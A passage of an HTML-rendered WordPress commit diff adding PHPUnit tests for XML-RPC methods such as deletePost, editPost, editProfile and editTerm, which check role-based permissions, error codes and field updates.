+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $result, '_thumbnail_id', true ) );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_incapable_set_post_type_as_page() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'title' => 'Test', 'post_type' => 'page' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_set_post_type_as_page() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'title' => 'Test', 'post_type' => 'page' );
+               $result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+
+               $out = get_post( $result );
+               $this->assertEquals( 'Test', $out->post_title );
+               $this->assertEquals( 'page', $out->post_type );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpdeletePostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/deletePost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/deletePost.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/deletePost.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,42 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_deletePost extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'username', 'password', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_invalid_post() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'editor', 'editor', 340982340 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+               $post_id = $this->factory->post->create();
+
+               $result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'subscriber', 'subscriber', $post_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_post_deleted() {
+               $this->make_user_by_role( 'editor' );
+               $post_id = $this->factory->post->create();
+
+               $result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'editor', 'editor', $post_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue( $result );
+
+               $post = get_post( $post_id );
+               $this->assertEquals( 'trash', $post->post_status );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpdeleteTermphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/deleteTerm.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/deleteTerm.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/deleteTerm.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,74 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_deleteTerm extends WP_XMLRPC_UnitTestCase {
+       var $term;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->term = wp_insert_term( 'term' . rand_str() , 'category' );
+               $this->assertInternalType( 'array', $this->term );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'username', 'password', 'category', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', '', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', 'not_existing', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', 'category', $this->term['term_id'] ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to delete terms in this taxonomy.' ), $result->message );
+       }
+
+       function test_empty_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', '' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( __('Empty Term'), $result->message );
+       }
+
+       function test_invalid_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', 9999 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+               $this->assertEquals( __('Invalid term ID'), $result->message );
+       }
+
+       function test_term_deleted() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', $this->term['term_id'] ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertInternalType( 'boolean', $result );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpeditPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/editPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/editPost.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/editPost.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,369 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_editPost extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'username', 'password', 0, array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_edit_own_post() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'post_title' => $new_title );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $new_title, $out->post_title );
+       }
+
+       function test_capable_edit_others_post() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'post_title' => $new_title );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $new_title, $out->post_title );
+       }
+
+       function test_incapable_edit_others_post() {
+               $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $original_title = 'Post test';
+               $post = array( 'post_title' => $original_title, 'post_author' => $author_id );
+               $post_id = wp_insert_post( $post );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array( 'post_title' => $new_title );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $original_title, $out->post_title );
+       }
+
+       function test_capable_reassign_author() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'post_author' => $author_id );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $author_id, $out->post_author );
+       }
+
+       function test_incapable_reassign_author() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+
+               $post2 = array( 'post_author' => $author_id );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $contributor_id, $out->post_author );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               $author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Post Thumbnail Test', 'post_author' => $author_id );
+               $post_id = wp_insert_post( $post );
+
+               $this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
+
+               // add post thumbnail to post that does not have one
+               $post2 = array( 'post_thumbnail' => $attachment_id );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // fetch the post to verify that it appears
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $post_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertArrayHasKey( 'post_thumbnail', $result );
+               $this->assertInternalType( 'array', $result['post_thumbnail'] );
+               $this->assertEquals( $attachment_id, $result['post_thumbnail']['attachment_id'] );
+
+               // edit the post without supplying a post_thumbnail and check that it didn't change
+               $post3 = array( 'post_content' => 'Updated post' );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post3 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // create another attachment
+               $attachment2 = array_merge( $attachment, array( 'post_title' => 'Post Thumbnail 2' ) );
+               $attachment2_id = wp_insert_attachment( $attachment2, $upload['file'], $post_id );
+
+               // change the post's post_thumbnail
+               $post4 = array( 'post_thumbnail' => $attachment2_id );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post4 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment2_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // unset the post's post_thumbnail
+               $post5 = array( 'post_thumbnail' => '' );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post5 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+               // use invalid ID
+               $post6 = array( 'post_thumbnail' => 398420983409 );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post6 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_edit_custom_fields() {
+               $contributor_id = $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+               $post_id = wp_insert_post( $post );
+               $mid_edit   = add_post_meta( $post_id, 'custom_field_key', '12345678' );
+               $mid_delete = add_post_meta( $post_id, 'custom_field_to_delete', '12345678' );
+
+               $new_title = 'Post test (updated)';
+               $post2 = array(
+                       'post_title' => $new_title,
+                       'custom_fields' =>
+                               array(
+                                       array( 'id' => $mid_delete ),
+                                       array( 'id' => $mid_edit, 'key' => 'custom_field_key', 'value' => '87654321' ),
+                                       array( 'key' => 'custom_field_to_create', 'value' => '12345678' )
+                               )
+               );
+
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue($result);
+
+               $out = get_post( $post_id );
+               $this->assertEquals( $new_title, $out->post_title );
+
+               $edited_object = get_metadata_by_mid( 'post', $mid_edit );
+               $this->assertEquals( '87654321', $edited_object->meta_value );
+               $this->assertFalse( get_metadata_by_mid( 'post', $mid_delete ) );
+
+               $created_object = get_post_meta( $post_id, 'custom_field_to_create', true );
+               $this->assertEquals( $created_object, '12345678' );
+       }
+
+       function test_capable_unsticky() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+               stick_post( $post_id );
+
+               $post2 = array( 'sticky' => false );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertFalse( is_sticky( $post_id ) );
+       }
+
+       function test_password_transition_unsticky() {
+               // when transitioning to private status or adding a post password, post should be un-stuck
+               $editor_id = $this->make_user_by_role( 'editor' );
+               $post_id = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+               stick_post( $post_id );
+
+               $post2 = array( 'post_password' => 'foobar',  'sticky' => false );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertFalse( is_sticky( $post_id ) );
+       }
+
+       function test_if_not_modified_since() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $yesterday = strtotime( '-1 day' );
+
+               $post_id = $this->factory->post->create( array(
+                       'post_title'   => 'Post Revision Test',
+                       'post_content' => 'Not edited',
+                       'post_author'  => $editor_id,
+                       'post_status'  => 'publish',
+                       'post_date'    => date( 'Y-m-d H:i:s', $yesterday ),
+               ) );
+
+               // Modify the day old post. In this case, we think it was last modified yesterday.
+               $struct = array( 'post_content' => 'First edit', 'if_not_modified_since' => new IXR_Date( $yesterday ) );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Make sure the edit went through.
+               $this->assertEquals( 'First edit', get_post( $post_id )->post_content );
+
+               // Modify it again. We think it was last modified yesterday, but we actually just modified it above.
+               $struct = array( 'post_content' => 'Second edit', 'if_not_modified_since' => new IXR_Date( $yesterday ) );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 409, $result->code );
+
+               // Make sure the edit did not go through.
+               $this->assertEquals( 'First edit', get_post( $post_id )->post_content );
+       }
+
+       function test_edit_attachment() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create( array(
+                       'post_title'   => 'Post Revision Test',
+                       'post_content' => 'Not edited',
+                       'post_status'  => 'inherit',
+                       'post_type'    => 'attachment',
+                       'post_author'  => $editor_id,
+               ) );
+
+               $struct = array( 'post_content' => 'First edit' );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Make sure that the post status is still inherit
+               $this->assertEquals( 'inherit', get_post( $post_id )->post_status );
+       }
+
+       function test_use_invalid_post_status() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create( array(
+                       'post_title'   => 'Post Revision Test',
+                       'post_content' => 'Not edited',
+                       'post_author'  => $editor_id,
+               ) );
+
+               $struct = array( 'post_status' => 'doesnt_exists' );
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Make sure that the post status is still inherit
+               $this->assertEquals( 'draft', get_post( $post_id )->post_status );
+       }
+
+       /**
+        * @ticket 22220
+        */
+       function test_loss_of_categories_on_edit() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create( array( 'post_author'  => $editor_id ) );
+               $term_id = $this->factory->category->create();
+               $this->factory->term->add_post_terms( $post_id, $term_id, 'category', true );
+               $term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+               $this->assertContains( $term_id, $term_ids );
+
+               $result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, array( 'ID' => $post_id, 'post_title' => 'Updated' ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 'Updated', get_post( $post_id )->post_title );
+
+               $term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+               $this->assertContains( $term_id, $term_ids );
+       }
+
+       /**
+        * @ticket 23219
+        */
+       function test_add_enclosure_if_new() {
+               // Sample enclosure data
+               $enclosure = array(
+                       'url'    => 'http://example.com/sound.mp3',
+                       'length' => 12345,
+                       'type'   => 'audio/mpeg',
+               );
+
+               // Second sample enclosure data array
+               $new_enclosure = array(
+                       'url'    => 'http://example.com/sound2.mp3',
+                       'length' => 12345,
+                       'type'   => 'audio/mpeg',
+               );
+
+               // Create a test user
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               // Add a dummy post
+               $post_id = $this->factory->post->create( array(
+                       'post_title'   => 'Post Enclosure Test',
+                       'post_content' => 'Fake content',
+                       'post_author'  => $editor_id,
+                       'post_status'  => 'publish',
+               ) );
+
+               // Add the enclosure as it is added in "do_enclose()"
+               $enclosure_string = "{$enclosure['url']}\n{$enclosure['length']}\n{$enclosure['type']}\n";
+               add_post_meta( $post_id, 'enclosure', $enclosure_string );
+
+               // Verify that the correct data is there
+               $this->assertEquals( $enclosure_string, get_post_meta( $post_id, 'enclosure', true ) );
+
+               // Attempt to add the enclosure a second time
+               $this->myxmlrpcserver->add_enclosure_if_new( $post_id, $enclosure );
+
+               // Verify that there is only a single value in the array and that a duplicate is not present
+               $this->assertEquals( 1, count( get_post_meta( $post_id, 'enclosure' ) ) );
+
+               // For good measure, check that the expected value is in the array
+               $this->assertTrue( in_array( $enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+
+               // Attempt to add a brand new enclosure via XML-RPC
+               $this->myxmlrpcserver->add_enclosure_if_new( $post_id, $new_enclosure );
+
+               // Having added the new enclosure, 2 values are expected in the array
+               $this->assertEquals( 2, count( get_post_meta( $post_id, 'enclosure' ) ) );
+
+               // Check that the new enclosure is in the enclosure meta
+               $new_enclosure_string = "{$new_enclosure['url']}\n{$new_enclosure['length']}\n{$new_enclosure['type']}\n";
+               $this->assertTrue( in_array( $new_enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+
+               // Check that the old enclosure is in the enclosure meta
+               $this->assertTrue( in_array( $enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpeditProfilephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/editProfile.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/editProfile.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/editProfile.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,69 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_editProfile extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'username', 'password', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+    function test_subscriber_profile() {
+        $subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+        $new_data = array(
+            'first_name' => rand_str(),
+            'last_name' => rand_str(),
+            'url' => 'http://www.example.org/subscriber',
+            'display_name' => rand_str(),
+            'nickname' => rand_str(),
+            'nicename' => rand_str(),
+            'bio' => rand_str(200)
+        );
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'subscriber', 'subscriber', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        // verify that the new values were stored
+        $user_data = get_userdata( $subscriber_id );
+        $this->assertEquals( $new_data['first_name'], $user_data->first_name );
+        $this->assertEquals( $new_data['last_name'], $user_data->last_name );
+        $this->assertEquals( $new_data['url'], $user_data->user_url );
+        $this->assertEquals( $new_data['display_name'], $user_data->display_name );
+        $this->assertEquals( $new_data['nickname'], $user_data->nickname );
+        $this->assertEquals( $new_data['nicename'], $user_data->user_nicename );
+        $this->assertEquals( $new_data['bio'], $user_data->description );
+    }
+
+    function test_ignore_password_change() {
+        $this->make_user_by_role( 'author' );
+        $new_pass = rand_str();
+        $new_data = array( 'password' => $new_pass );
+
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'author', 'author', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        $auth_old = wp_authenticate( 'author', 'author' );
+        $auth_new = wp_authenticate( 'author', $new_pass );
+        $this->assertInstanceOf( 'WP_User', $auth_old );
+        $this->assertTrue( is_wp_error( $auth_new ) );
+    }
+
+    function test_ignore_email_change() {
+        $editor_id = $this->make_user_by_role( 'editor' );
+        $new_email = rand_str() . '@example.com';
+        $new_data = array( 'email' => $new_email );
+
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'editor', 'editor', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        $user_data = get_userdata( $editor_id );
+        $this->assertNotEquals( $new_email, $user_data->email );
+    }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpeditTermphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/editTerm.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/editTerm.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/editTerm.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,136 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_editTerm extends WP_XMLRPC_UnitTestCase {
+       var $parent_term;
+       var $child_term;
+       var $post_tag;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->parent_term = wp_insert_term( 'parent' . rand_str() , 'category' );
+               $this->assertInternalType( 'array', $this->parent_term );
+               $this->child_term = wp_insert_term( 'child' . rand_str() , 'category' );
+               $this->assertInternalType( 'array', $this->child_term );
+               $this->post_tag = wp_insert_term( 'test' . rand_str() , 'post_tag' );
+               $this->assertInternalType( 'array', $this->post_tag );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'username', 'password', 'category', 1 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', '', array( 'taxonomy' => '' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', $this->parent_term['term_id'], array( 'taxonomy' => 'not_existing' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', $this->parent_term['term_id'], array( 'taxonomy' => 'category' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to edit terms in this taxonomy.' ), $result->message );
+       }
+
+       function test_term_not_exists() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', 9999, array( 'taxonomy' => 'category' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+               $this->assertEquals(  __( 'Invalid term ID' ), $result->message );
+       }
+
+       function test_empty_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', '', array( 'taxonomy' => 'category' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( __('Empty Term'), $result->message );
+       }
+
+       function test_empty_term_name() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->parent_term['term_id'], array( 'taxonomy' => 'category', 'name' => '' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'The term name cannot be empty.' ), $result->message );
+       }
+
+       function test_parent_for_nonhierarchical() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->post_tag['term_id'], array( 'taxonomy' => 'post_tag', 'parent' => $this->parent_term['term_id'] ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( "This taxonomy is not hierarchical so you can't set a parent." ), $result->message );
+       }
+
+       function test_parent_empty() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => '', 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( __('Empty Term'), $result->message );
+       }
+
+       function test_parent_invalid() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => 'dasda', 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+       }
+
+       function test_parent_not_existing() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => 9999, 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Parent term does not exist.' ), $result->message );
+       }
+
+       function test_parent_duplicate_slug() {
+               $this->make_user_by_role( 'editor' );
+
+               $parent_term = get_term_by( 'id', $this->parent_term['term_id'], 'category' );
+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'slug' => $parent_term->slug ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( htmlspecialchars( sprintf( __('The slug &#8220;%s&#8221; is already in use by another term'), $parent_term->slug ) ), $result->message );
+       }
+
+       function test_edit_all_fields() {
+               $this->make_user_by_role( 'editor' );
+
+               $fields = array( 'taxonomy' => 'category', 'name' => 'Child 2', 'parent' => $this->parent_term['term_id'], 'description' => 'Child term', 'slug' => 'child_2' );
